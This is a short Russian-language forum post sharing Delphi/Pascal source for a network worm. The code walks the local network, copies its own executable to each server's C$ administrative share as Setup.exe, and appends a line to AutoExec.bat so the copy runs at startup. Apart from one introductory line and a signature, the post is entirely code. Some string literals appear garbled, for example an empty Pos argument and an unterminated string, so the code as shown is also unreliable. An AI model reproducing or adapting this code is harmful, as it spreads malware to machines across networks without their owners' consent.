Если не туда захреначил перекиньте куда надо
Код:
Program die;
Uses
Windows;
Const
Mess : String = 'bth';
VAR
Domains : String;
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('',Str)+1, Length(Str));
Result := Str;
End;
Function ExtractFileExt(s:string):String;
Begin
While Pos('.', S)>0 Do
S := Copy(S, pos('.', S)+1, Length(s));
Result := S;
End;
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
procedure Enumeration(aResource:PNetResource);
var
aHandle: THandle;
k, BufferSize: DWORD;
Buffer: array[0..1023] of TNetResource;
i: Integer;
begin
WNetOpenEnum(2,0,0,aResource,aHandle);
k:=1024;
BufferSize:=SizeOf(Buffer);
while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do
for i:=0 to k-1 do
begin
if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10;
if Buffer[i].dwUsage>0 then
Enumeration(@Buffer[i])
end;
WNetCloseEnum(aHandle);
end;
Procedure Network;
Var
Name : String;
Auto : TextFile;
Begin
Enumeration(NIL);
While Domains <> '' Do Begin
Name := Copy(Domains, 1, Pos(#13#10, Domains)-1);
Try
CopyFile(pChar(ParamStr(0)), pChar(Name + 'C$Setup.exe'), False);
If FileExists(pChar(Name + 'C$AutoExec.bat')) Then Begin
AssignFile(Auto, Name + 'C$AutoExec.bat');
Append(Auto);
WriteLn(Auto, 'Setup.exe);
CloseFile(Auto);
End;
Except
;
End;
Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));
End;
End;
Begin
Network;
End.
by Bi0sS, codingworld.ru